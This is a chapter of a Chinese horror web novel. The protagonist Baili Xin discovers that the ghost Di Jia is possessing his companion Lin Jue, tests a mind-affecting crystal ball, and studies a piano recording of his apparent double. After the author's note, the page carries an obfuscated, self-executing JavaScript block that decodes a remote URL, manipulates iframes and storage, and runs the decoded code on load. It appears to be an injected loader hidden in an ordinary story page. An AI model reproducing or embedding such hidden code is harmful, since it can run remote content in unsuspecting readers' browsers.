百里辛和林绝一前一后仔仔细细找了墙上的痕迹。
和桌子上一样,墙上也有很多划痕,深浅不一,带着斑驳的血污。
百里辛指尖放到墙上,粗糙凹凸的摩擦感立刻传递到了大脑中。
他将两只手的指甲扣在缝隙中,手指微微曲起,沿着指甲刮出来的凹槽滑下去。
曾经待在禁闭室里的人已经离开了,不过这个房间还残留着他们的呐喊。
狭窄的密室,到处都充满了痛苦和悲恸绝望。
极致的快乐,极致的恐惧,极致的绝望。
这个副本中的情绪好像太过膨胀了,总觉得这种极致有些不对劲。
指甲顺着痕迹滑下,一直落到墙角,百里辛看到墙角草垛里闪过一点微弱的亮光。
百里辛心中微动,向着亮光的方向移动。
墙角的位置,有一块石头不见了,取而代之的是一个凹陷的空隙。
那个亮光就是从空隙中发出来的,百里辛走过去,就看到一个细小的链条露出了一个小尖端。
刚才就是这个链条反射了手电筒的光照,引起了百里辛的注意。
捏住链条的一端,百里辛小心翼翼将藏匿在里面的东西拽了出来。
在链条另一端悬挂着的,是一个精致的怀表。
怀表表面和链条都已经有些生锈,不过丝毫不影响它的美观。
百里辛打开怀表,怀表的表盘指针已经停了,永久地停留在了7:00这个时间。
表盘的另一面,是一张老旧的圆形照片。
照片已经泛黄褪色,有些地方干脆失真了,只能模糊辨认出人物的模样。
照片中,是一个女人和两个小孩。
女人穿了一件最简单的长裙,头发挽起来,五官大气漂亮。女人坐在椅子上,而在她的两边,一左一右站着两个孩子。
两个孩子看起来都只有八九岁的模样,一男一女,男的个子稍微高一点。
三个人看向镜头,女人笑容恬静淡雅,两个孩子笑起来也很可爱,很像两个福娃娃。
“你看看这个,”百里辛走到林绝身边,将怀表中的照片指给林绝看,“是这个小男孩吗?”
林绝手电筒落到怀表上,将本来有些昏暗的照片一下子照得清晰了。
只是扫了两眼,林绝就收回了目光:“应该是吧。”
百里辛:“什么叫应该是吧?”
林绝随意地耸了耸肩:“因为如果你见到那个男孩,也只能说一句‘应该’。”
总觉得林绝的话后面还有东西,但林绝并没有继续多说什么,他抿唇垂眸,显然不想再多说一句话。
话题戛然而止,百里辛也没有再继续追问,而是从包裹里取出了一个小收纳包,将怀表放了进去:“走吗?”
手电筒被塞回百里辛的手中,百里辛指尖放在林绝刚才一直握住的位置,这个地方比其他地方更冷了几分。
冰冰凉凉的,让百里辛的指尖生理性抖了一下。
百里辛:“你身上好像很冷。”
林绝已经挺着挺括的肩膀向外走,他站在门口等着百里辛,听到这句话倒也没有之前的不耐,只是简单回了一句:“晚上这里很冷,像冰窖一样。”
“走吧,回去了。等下那老东西看不到我们,恐怕会生气。”
两人穿过长长的走廊和曲折的楼梯,依旧没有看到任何身影。
百里辛特意去看了下其他人。很奇怪,红苹果之家看似将他们照顾得很好,但卧房却不能从里面落锁。
没有任何隐私。
百里辛路过其他卧室时,推门向里面看了看,发下大家都睡得很安稳,每个人脸上都面带微笑,先前苍白的脸色也红润起来。
林绝也跟着向里面探了探脑袋,毛茸茸的毛刺头不小心蹭到了百里辛的脖子,弄得百里辛脖子有些发痒。
林绝啧啧两声:“这药效还挺强,一个个醉生梦死的。”
百里辛暗暗揉了揉脖子,默不作声地回了房间。
还有些时间,百里辛坐到沙发上后,从背包里拿出了那个水晶球。
水晶球比百里辛的掌心小一点,刚好能够握在手心里。透明色的水晶球里,能看到神秘且幽深的湛蓝海洋在旋转,就像这个水晶球本身一样神秘未知。
百里辛将后背嵌入绵软的沙发绒里,一只手懒洋洋把玩着水晶球,另一只手放在沙发扶手上,有一下没一下地敲击着,思绪有些飞远。
“你脖子上是什么?”
林绝的声音响起,百里辛拉回思绪,就看到对面挺括的男人斜斜倚靠在墙边,一条腿随意倒勾在另一条腿后,脖子微歪拿着手指指了指自己锁骨的位置。
百里辛眨了眨眼睛,两秒后总算回过神来了。
他扭头一看,那个一直被自己小心隐藏着的黑手掌印不知何时露了出来。
百里辛脸不红心不跳地重新拉上衣领,随意道:“没什么,胎记。”
“胎记?”林绝走过来,高大的身影直接挡住了百里辛面前的光线。
阳光洒在林绝的身后,本该是阳光晕染成朦胧的情景,安在林绝身上却十分违和。
他的后背浸泡在阳光下,他的脸庞却在黑暗中。
林绝一只手扶着窗台,身体下倾,高大的身影就将百里辛完全笼罩在了自己的阴影之下。
身体缓缓向下,十分有压迫感地逼向百里辛,“让我看看这到底是什么东西。”
在百里辛诧异的目光中,林绝朝他伸出了手。
不过转瞬,诧异被寒光替代。百里辛忽然一个抬脚,朝着林绝踢去。
目标十分明确。
林绝伸到一半的手立刻缩回,改成扶着沙发扶手,修长的双腿在空中一个飞旋,避开了百里辛的攻击。
百里辛语气里已经带上了要挟:“你如果是想试探我,不如我们开诚布公一点。你如果想找刺激,我现在就可以给你来点刺激。你到底是谁?”
林绝马丁靴踩在地板上,嘴角那副玩世不恭的笑容收了起来,“我是林绝。”
百里辛:“你既然是林绝,就做林绝该做的事情。”
他说这话的时候,没注意到手里的水晶球,闪烁了一下亮光。
幽蓝色的海洋像活了一样,在水晶球中旋转着。
林绝沉默两秒,试探着问了一句:“林绝该做什么事情?”
百里辛:“……”
你还说你是林绝!
真当他是瞎的吗?那个躁动的黑影就差没跑到他眼皮子底下跳舞了,他是有多看不起自己的洞察力?
他起先是不想拆穿对方的,主要是想看看对方葫芦里卖的到底是什么药,才一直在后面暗中观察对方。
但对方好像是为了故意引起他的注意似的,黑影到处乱放。
百里辛揉了揉眉心,“林绝……应该更温和一点,你现在太凶了。”
“林绝”坐在床边,竟然真的在认真思考百里辛的建议,脸上过分凶狠的锐利收起来,只剩下了张扬,“这样?”
还真的接受了建议?
百里辛:“你到底是谁?”
“林绝”认真思考了两秒,才指了指百里辛手里的怀表,“我是哥哥。”
哥哥?
百里辛眉头跳了一下。
接着,“林绝”说出了下一句让百里辛大跌眼镜的话,“而你是妹妹。”
“我找你很久了。”
百里辛:“……”
我不是,我真不是。
我一个堂堂185男儿,虽然以前被迫女装过,但我真的不是“妹妹”。
百里辛打开了手边的怀表,指了指妇人身边站着的小男孩:“你是他?”
“林绝”点点头。
百里辛:“您今年贵庚?”
“林绝”:“这是我小时候的照片,我死的时候20岁,现在鬼龄多少岁忘记了。”
百里辛:“那这个呢?你的亲妹妹?”
“林绝”又摇了摇头:“不是,捡的。妈妈没生孩子,我是捡的,你也是捡的。放心,哥哥会保护你的。”
保护自己?
所以在他们被鬼遮目时,看起来奇奇怪怪的林绝才会出现在那里。
是为了特意去救他?
百里辛脑海里涌现出了昨晚那个“妈妈”和那句“迦哥哥”,又看向面前刻意压制阴冷气息的男人,有些不敢相信地问了一句:“你不会就是,昨晚的‘迦哥哥’吧?”
“林绝”脸红了一下,又很快恢复正常:“还是直接叫‘哥哥’吧。”
百里辛:“……”
你也知道“迦哥哥”喊不出口吗?你还知道丢人吗?
百里辛:“你是附身了?”
“林绝”:“白天不是我的世界,我只能通过这种方式出现。这个人在禁闭室里见到了我的幻影,通过契约我们联系到了一起,我白天可以寄宿在他的身体里。”
他顿了顿,补充道:“晚上也可以。白天我的力量会减弱,到了晚上才是我的主场。”
到了现在,百里辛终于确定,眼前附身在林绝身上的男鬼,就是帝迦了。
只是有些奇怪,刚才帝迦看起来还像只恶灵那般凶悍,现在怎么这么听话了?
百里辛眼角余光落到了手中的水晶球上,忽然看到了里面奇怪的涌动和漂亮的荧蓝色光芒。
他看了看水晶球,又看了看对面的男人。
难道帝迦的异常,和他手里这个水晶球有关?
莫非水晶球可以控制别人的心智?
百里辛心里“咯噔”跳了一下,手中的水晶球还在散发着漂亮的蓝色光芒,可百里辛甚至不知道怎么就触发了它的启动。
为了验证自己的猜想,百里辛将水晶球收进了自己的背包里。
上一秒还温和如狗的“林绝”呆滞了两秒,表情重新变回了先前的锐利张狂。
他迟疑地看着面前的百里辛,眼神中带着审视。
百里辛试探道:“我真的不是你妹妹。”
“林绝”站起身,目光阴恻恻的,“以前不是,但你现在必须是。只有你是妹妹,才会被鬼妈妈保护起来,懂我的意思吗?”
百里辛愣了两秒。
他大概明白帝迦的意思了。
对方是知道自己不是“妹妹”这个身份的,但恐怕只有用这个身份,才不会被晚上出现的“鬼妈妈”攻击。
水晶球收起来的瞬间,“林绝”又恢复了之前的表情,说明他已经摆脱水晶球的作用范围了。而且他能够顺利和自己对话下去,也就意味着刚才发生了什么,他是有记忆的。
可面对自己不小心动用了水晶球力量这一点,帝迦好像并没有生气。
这个水晶球的能力到底是什么?
“林绝不会有事吧?”虽然潜意识相信帝迦的人品,百里辛还是问了一句。
“林绝”:“没事,我只是借用一下他的身体,等我离开之后他什么都不会记得。”
百里辛:“你为什么要附身林绝?”
对面的“林绝”皱了皱眉,显然觉得这个问题十分无聊且弱智,“当然是为了保护你,要不然我闲得慌?”
“所以这才是我想问的,保护我的原因是什么?”百里辛目光紧紧盯着对面的男人,但透过这具躯壳,他看到的却是另一个身影。
这一个问题,倒是把对面的男鬼问懵了。他仔细想了想,“不知道,看到你的一刹那,心里有个声音告诉我,这个人要好好保护起来。”
就算灵魂切片,就算失忆了,刻在灵魂深处的使命也是保护自己吗?
百里辛忽然笑了。
对面的男人定定望着青年,青年这一笑,就仿佛冰河融了大地,枯木抽了嫩芽,细小绿苗从土壤中冒出来。
男鬼的心里,伴随着这个笑容,也有一株小小的嫩芽从干涸开裂的心口钻了出来。
百里辛:“最后一个问题,你叫什么名字?我可不想叫你哥哥。”
男鬼:“帝迦。”
看着对面被黑暗浸染的男鬼,百里辛渐渐收起了笑容。
他越来越想知道,帝迦到底发生了什么。
帝迦刚进入这个游戏世界的时候,恐怕是有记忆的,而他在最后应该也推演到了自己的出现。
从这些不断出现的碎片来看,这些碎片大概率不是帝迦被迫分离的,而是他主动分离的。
因为每一个碎片的出现,或多或少都曾经帮助过自己。就算这些碎片失忆了,就算一开始对自己带着某种听起来很微妙的企图,但他们做的事情,其实都是在帮助自己。
999层上的帝迦是本体,照这么看来,当初帝迦不光推演到了自己会来到这个游戏世界,还推算到了自己前往的每个副本。
大概率的情况是,为了帮助自己,他强行进行了碎片分离,可能就是这个分离的后遗症,造成了帝迦的失忆。
而且帝迦给自己留下了一个很重要的讯息,900层以上很危险。
但只有前往900层,他才能真正见到帝迦。
在快穿世界里,为了寻找帝迦被撕裂的碎片,他曾经奔走过。
而现在,为了帮助自己,帝迦选择了割裂。
除此之外,百里辛想不出任何理由,来解释这一次次“巧合”出现的“帝迦”。
就在这短短一瞬间,百里辛的内心忽然有些感慨。
本以为是自己挂帅救夫,没想到老攻一直都在身边护法。
“林绝”两只手拱成小山,手肘落在大腿上,将鼻子和嘴巴藏在了手掌之下,整张脸只露出了一双眼瞳。
漆黑幽深的双目默默注视着对面的百里辛,对面的青年不知道想到了什么,眼睛忽然变得红彤彤、湿漉漉的。看起来像是要哭,但眼泪却一滴都没有落下来。
那双幽暗的双眸中,忽然闪过一道锐利的光。藏在手掌下的嘴唇中,舌头伸出,暗暗舔舐了一下嘴角。
他自己也想不通,自己为什么一定要保护面前的青年。
因为他最想做的事情,根本不是保护他,而是弄哭他。
昨晚是鬼的形体,他轻易潜入青年房间,将他圈在自己的保护范围里。
对方的身体很暖,心脏的跳动也十分有力,他甚至能够感受到温暖的血液在青年身体中缓缓流动的方向。
那么温暖,那么炽热,让他有些欲罢不能。
周围是虎视眈眈的恶鬼,可谁都不敢动他分毫。青年就安安静静躺在自己的怀里,只属于自己。
百里辛从背包里拿出了水晶球,刚才还闪烁着光芒的水晶球已经重新黯淡下来,变成了一开始的样子。
他将水晶球对准“林绝”,脑海中将刚才发生的画面重复
一遍。
找到“林绝”变化的转折点,百里辛试探着开口:“你既然是林绝,就做林绝该做的事情。”
但是这次,水晶球毫无变化。
“林绝”挑眉:“这句话你不是已经说过一遍了吗?你手里拿的是什么?”
百里辛把水晶球拿到手里把玩:“就一个小玩意,我这不是担心你露馅,所以再提醒你一次吗?”
“林绝”:“一群睡死过去的猪,能露什么馅。”
百里辛:“……”
又折腾了水晶球好几分钟,它都一直没啥变化后,百里辛终于放弃,在听到走廊上渐渐靠近的脚步声后,他果断将水晶球塞进了背包栏里。
房门再次被好无礼貌地推开,那个十分机械化的高高瘦瘦神官带着敬业的笑容::“走吧孩子们,该去音乐课了。”
-----------------------------
十分钟后,两人来到了一间音乐室。
音乐室中央放着一架钢琴,还有四五个凳子,而在音乐室的前面,则是一个巨大的屏幕。
神官招呼着百里辛和帝迦坐下,“马上就是山姆老师的表演了,这可是曾经世界上最著名的钢琴家,你们两个要仔细欣赏,特别是你。”
神官看向百里辛,“山姆老师的表演,你要仔细看,认真学,懂吗?”
单独点名自己?
百里辛心中有些诧异,面上却不显山露水,只是点了点头,“知道了。”
山姆老师?又是一个新的npc吗?
就在一人一鬼静静等待山姆老师到来时,他们面前的大屏幕却忽然亮了起来。
随着一道短促的钢琴按键弹起,屏幕里面渐渐显露出了画面。
画面中,出现了一个穿着白色燕尾服的男人。
男人的脸并没有录进去,巨大的屏幕上,只有身体和那双骨节分明的修长手指。
那双手很白皙,十指像十根漂亮的玉器,纤细修长,又带着力量感。
骨节分明的手指在钢琴上优雅地快速弹跳,十指纷飞,像翩跹起舞的蝴蝶。
舒缓动听的钢琴声也随着手指的律动从音响中冲出来,钢琴隐约从四面八方涌来,环绕在两人身边。
的确十分动听。
可随着钢琴的舞动,百里辛的脸色却开始有些凝重,双眸也若有所思地盯着面前屏幕里的男人。
十分钟左右的时间,一首钢琴曲缓缓结束。
神官全程站在旁边,当音乐结束的那一刹那,他激动地鼓起掌来,口中也是毫不吝啬的夸奖,“太棒了,不愧是山姆老师,这是世界上最动听的钢琴音乐,就算是机械听了都要被感动。”
百里辛和帝迦对视一眼。
一首钢琴曲结束,几分钟后,又开始了循环播放。
还是这个钢琴曲,还是那个白色燕尾服的男人,还是那个视频。
这天下午,百里辛和帝迦一直听了五次单曲循环。
本来以为会亲临现场的山姆老师,竟然是用录播的方式出现的。
等五次循环播放完毕,神官问向两人:“你们学会了吗?”
百里辛≈帝迦:“……”
真当学钢琴跟学跳皮筋一样简单吗?还问他学会了没,一般人能学会吗?
虽然是问的两个人,神官的目光却一直看向百里辛,“要不你试试?”
神官手臂抬起来,指向旁边的那架钢琴。
百里辛倒也不推辞,大大方方走过去,身体笔挺坐好,一只手有模有样地在钢琴上滑了一道。
顿时,错落有致的按键音回荡在整个教室,比刚才电视里的音乐逼真多了。
神官眼睛亮起来,“继续。”
百里辛修长脖颈微微扬起,双眸阖上,仿佛已经沉醉进了优美的钢琴音中。
神官眼睛直勾勾看向百里辛,目光追随着百里辛抬到半空中、位置恰到好处的手臂。
下一刻,手臂重重落下。
一串刺耳的乐符落到了他的耳中。
神官表情僵住,眼里的光,在那一刻消失了。
“停停停,”神官叫停百里辛,嘴角是牵强的微笑,“孩子,我已经感受到了你的优秀,不用弹奏了。”
他张开嘴,还想要说什么,就看到一个修女出现在了门口。
修女神色慌张,似乎有什么大事。
神官:“这样吧,你们两个再多学习几次,我还有事情,一个小时后来这里接你们。”
扔下这句话,神官便僵硬着身体大步离开。
音乐室的房门关上,大屏幕上,男人的钢琴表演再次开始从头播放。
这一次,随着大屏幕中那人手指第一次落下,百里辛也分毫不差的按在了钢琴上。
帝迦默默坐在大厅中。
在他的面前,屏幕上,是纯白燕尾服的表演,现实中,是穿着纯白毛衣的百里辛表演。
每次,十根手指都能和屏幕中的男人同时落下。音乐室中,婉转曼妙的钢琴音带着些许叠音,响彻房间每一个角落。
阴沉深邃的黑眸贪婪地注视着穿着纯白毛衣的青年。
青年微仰着下巴,随着音乐的响起,身体也跟着一起起舞。
百里辛不是不会弹奏,只是刚才在npc面前藏了拙。
这一首钢琴曲不算超高难度,但也绝不是低难度。
十分钟的演奏时间,百里辛竟然分毫不差地跟了下来。
一首钢琴曲结束,百里辛缓缓睁开眼,眼中全是冷肃。
他看了眼身后的帝迦,手臂抬起来,指了指那个巨大荧幕里的男人身影:“有没有发现,我和那个人长的很像。”
百里辛伸出手,举到帝迦面前:“你看看这双手,再看看屏幕里的那双手。”
十根白玉一样的手指骤然伸到自己面前,十指张开,好像在向自己索取牵手。
帝迦暗暗吸了口气,幽深黑眸将暗藏其中的汹涌藏起来,目光镇定地在两双手之间做对比。
帝迦:“是挺像的。”
百里辛“啧啧”两声,十指收回来,伸出右手食指摆了摆手,“不不不,不能说很像,应该说是一模一样。”
“这上面的人,”百里辛手臂一甩,食指指向了那个大屏幕,“是我。”
帝迦诧异。
他对音乐没什么好感,从一开始就没认真看什么音乐视频。刚才之所以陶醉在青年的音乐中,也完全只是被青年的美色迷惑。
听到百里辛的话,帝迦这才认真看向屏幕里的男人,那人的身形的确和百里辛如出一辙。
帝迦:“你什么时候录了这个视频?”
百里辛:“或许不是我录的,而是另一个‘我’录的,你没听神官说吗,这个人叫‘山姆’,是世界上瑰宝级别的钢琴家。”
“那是他的身份。”
“而我的身份,是未来的希望。”百里辛的声音有些冷,“我想到了点什么,但还需要一些验证。”
音乐室在三楼,透过窗户,外面的湛蓝海面清晰可见。
在海面之上,有几只海鸟从海面上掠过。
“这个海岛,已经有些历史了。”百里辛站起来走到窗边,看向外面平静的海平面。
帝迦:“的确如此。”
百里辛:“我能从你这里得到什么信息吗?”
穿着皮衣的男人目光冷静,他犹豫片刻,就在准备开口说话时,男人的身体在原地僵住。
浓稠的黑色在男人的眼球中晕染,身后的影子忽然张开棱角,铺在墙壁上,像一只暴走的野兽。
几秒钟后,黑影缩了回去,男人眼中浓稠也散去。
空气中,一道若有似无的声音飘入了百里辛的耳朵里。
“看来这个世界的规则,禁止我向你传递过多信息。如果你想知道世界的真相,只能由你自己来探索,晚上的苹果园……”
声音越来越小,最后消失在了空气中。
百里辛面前的机车男人,在原地踉跄两步,缓缓睁开了眼。
他先是迷茫地看了眼四周,眼中闪过诧异。
等看到自己面前的百里辛时,诧异才硬生生收了回去,取而代之的是带着警惕的目光,“百里辛。”
百里辛:“林绝,你怎么了?”
林绝抿着唇,表情十分地不开心。
昨天被一个狡猾的鬼忽悠了,借着做任务的名义和他签订了契约,结果他丫的竟然被那只臭鬼上身了。
自己好歹也是382层的老玩家,如果被面前这个只有72层的小玩家知道自己被鬼玩了,那他的面子往哪儿搁?
他这段时间的记忆断断续续的,上一段记忆,还是自己躺在苹果园里偷懒睡觉,把夏池和百里辛扔给了埃米尔,现在人就出现在音乐室。
还是和百里辛单独待在一起。
要不是因为那个人,自己才懒得管那个叫夏池的小鬼,还顺便搭上这个叫百里辛的家伙。
林绝烦躁地揉揉本就凌乱的头发,“那个,我……”
我没对你做什么奇怪的事情,说什么奇怪的话吧?
可这话如果问出来,不就坐实了自己被附身了?
靠。
百里辛歪头,疑惑地问道:“怎么了?”
林绝:“没什么!”
算了,看百里辛表情这么正常,肯定没发生什么!
林绝左顾右盼,忽然被钢琴音吸引走了注意力。大屏幕上,正在放着不露脸的表演。
所以他们在这里是在听钢琴?
就在林绝打算以不变应万变时,音乐室的房门被推开,神官走了进来。
“好了,孩子们,吃饭时间到。”
林绝下意识看向任务栏,时间竟然已经到了下午四点多,马上就到五点了。
房间里只有他们,那其他人呢?
可恶啊,被那只鬼上身,自己根本不知道这段时间发生了什么。
就在林绝感觉异常束手束脚时,百里辛轻飘飘地一句话飞出去:“神官,其他人都因为上午难受,吃了你给的药还在睡觉,要不要把他们叫起来?”
林绝默默看了眼百里辛。
虽然是问神官的,但百里辛的这一句话信息量巨大,刚好将他想要知道的事情都说了出来。
林绝看向百里辛的目光,忽然带着些疑惑。
这么详细,是出于巧合?还是百里辛知道了些什么?
餐桌上,吃饭的只有他们两个人。
林绝心里揣着事情,吃的又快又狠。今天太阳落山好像比昨天要早一些,不过是晚上五点多,远处的海平面已经被夕阳染上了火焰的颜色。
不等百里辛吃完,林绝直接上了二楼。
他今晚打算夜探禁闭室,所以要先休息一会儿。
哪知他一推开门,自己的床上竟然躺着那个叫夏池的少年。
林绝:“……”
麻了。
这要是换成别人自己就把人扔出去了!怎么偏偏是这个臭小子。
好烦。
夏池在自己床上,难道自己睡觉的地方是在百里辛的房间?
接下来的几分钟里,他挨个打开了卧室。每个卧室里都躺着人,只有最里面的卧室是空荡荡的。
看到那个房间就是自己和百里辛暂时的宿舍了。
此时,百里辛也上了楼。
外面,夕阳的颜色开始变得浓郁起来,太阳也开始缓缓从海平面上消失。
林绝面无表情走进最后一个空房间。
房间里有两张床。
窗外,阳光再一次下落,海风开始吹拂起来,地上的的影子也变得影影绰绰、斑驳起来。
就在海平面只剩下一丝亮光时,林绝骤然呆在了当场。
浓黑的影子像一只勇猛的野兽,从四面八方向林绝飞去,将他包在里面。黑雾在双眼中晕染。
下一刻,黑色完全融入进了林绝身体里,等他再睁开眼时,双眼已经变得锐利且阴鸷。
男人立在当场,看了看房间,又看了看外面的夕阳,走到窗边关上了窗户。
窗帘也被缓缓拉上,做完这些,男人和衣而眠躺在了床上。
几分钟后,百里辛走了进来。
推门的刹那,他看了眼床上的林绝,先是愣了一下,下一秒接着问道:“你这样一会儿进来,一会儿出去的,林绝确定没问题吗?他不会被你弄成傻子吧?”
床上的男人睁开眼睛,有些诧异,“你是怎么发现我换过来的,我可一句话都没说,眼睛都闭上了。”
百里辛:“气场不一样。”
被百里辛发现,男人索性直接坐起来,“我气场更足?”
百里辛:“呃……你更恶毒。”
帝迦:“……”
百里辛:“你刚才消失的时候,是说让我晚上去苹果园?”
帝迦想了想,摇摇头:“还是别去了。”
百里辛:“为什么?”
一连串的画面出现在帝迦的脑海里,“画面不太美观,你也看到了,你的同伴吐了好几个,你能确定你不是其中的那一个。”
百里辛笑了,“我其实还挺好奇的。”
帝迦:“……”
随着远处最后一丝光线消失,红苹果之家,陷入了死一般的沉寂。
百里辛没有睡,帝迦也醒着。
两人对视一眼,帝迦指了指外面,又指了指自己的眼睛,示意百里辛阖上眼睛。
走廊上,缓缓响起了和昨晚如出一辙的拖拽声音和皮球拍打声。
那声音一次又一次推开门,等到快到百里辛的房间时,他才终于阖上了双眼。
而就在他双眼阖上的那一刹那,面前骤然飘过一道黑影。
黑影在眼前一闪而过。
房门,被缓缓推开。
依旧是那一声声的问话,百里辛依旧没有理会那一声声急促的呼唤。
等到那个鬼彻底放弃离开,随着走廊上渐行渐远的声音响起,百里辛感觉身后被一个力道拉了一下。
黑暗中,百里辛缓缓睁开眼。
就和一双血红的凸出眼球四目相对。
那对眼睛几乎就要从眼眶里出来,眼球周围遍布着蜘蛛网状的红血丝,正在虎视眈眈地盯着百里辛。
作者有话要说:已修文
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();